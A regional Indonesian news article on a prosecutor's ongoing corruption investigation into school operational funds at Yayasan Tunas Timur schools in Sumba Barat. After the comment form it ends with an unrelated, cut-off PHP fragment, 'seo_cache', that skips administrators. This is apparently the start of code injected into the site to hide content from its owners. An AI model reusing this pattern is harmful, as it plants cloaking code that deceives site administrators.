Hukum

Kasus Yatutim Masih Tahap Penyidikan Kejari Sumba Barat Sedang Berupaya untuk Segera Tetapkan Tersangka

×

Kasus Yatutim Masih Tahap Penyidikan Kejari Sumba Barat Sedang Berupaya untuk Segera Tetapkan Tersangka

Sebarkan artikel ini

WAIKABUBAK, MENARASUMBA.COM – Penanganan kasus dugaan korupsi dana Bantuan Operasional Sekolah (BOS) pada sejumlah sekolah milik Yayasan Tunas Timur (Yatutim) masih dalam penyidikan jaksa.

Penjelasan ini disampaikan Kepala Seksi Intel Kejaksaan Negeri Sumba Barat, Ahmad Firdaus Mushollin, SH, Rabu (26/11/2025).

“Kami saat ini sedang upayakan agar segera dilakukan penetapan tersangka,” tandasnya.

Ia menyebut, penanganan kasus ini terkesan lamban karena terkendala proses pemeriksaan saksi.

Hal itu terlihat dari pemanggilan saksi yang terkadang harus dilakukan hingga tiga kali.

“Saksi sudah kita panggil secara patut lewat surat, tapi kadang tidak datang. Kita panggil tiga yang datang satu,” ujarnya lagi.

Oleh karena itu, Kepala Seksi Pidana Khusus Kejari Sumba Barat telah mengagendakan upaya pemeriksaan yang lebih optimal.

Kejari Sumba Barat berencana membentuk Tim Pidana Khusus (Pidsus) yang langsung turun ke lapangan.

“Tim akan datang langsung on-spot untuk meminta keterangan kepada yang bersangkutan,” tambahnya.

Mereka yang akan diperiksa sebagai saksi adalah guru, operator sekolah dan pihak lain yang terlibat dalam pengelolaan dana BOS.

Terkait dugaan oknum anggota DPRD Provinsi NTT yang santer disebut terseret dalam kasus ini, Ahmad Firdaus enggan berkomentar.

Untuk saat ini pihaknya masih terus mengembangkan kasus tersebut.

“Kita masih fokus pada pihak-pihak yang memang berkaitan langsung dengan persoalan ini,” tegasnya.

“Cuma untuk anggota DPRD itu kita masih perlu perdalam lagi, informasi dari tim penyelidik juga masih belum mengarah ke situ,” sambungnya.

Apalagi dirinya adalah pejabat baru sehingga belum mengetahui secara rinci perihal kasus ini, termasuk apakah oknum anggota DPRD NTT dimaksud pernah diperiksa atau tidak.

“Saya di sini kan baru satu bulan dan harus memastikan lagi. Tapi setahu saya, informasi dari Pidsus memang (yang bersangkutan) belum terlibat,” pungkasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>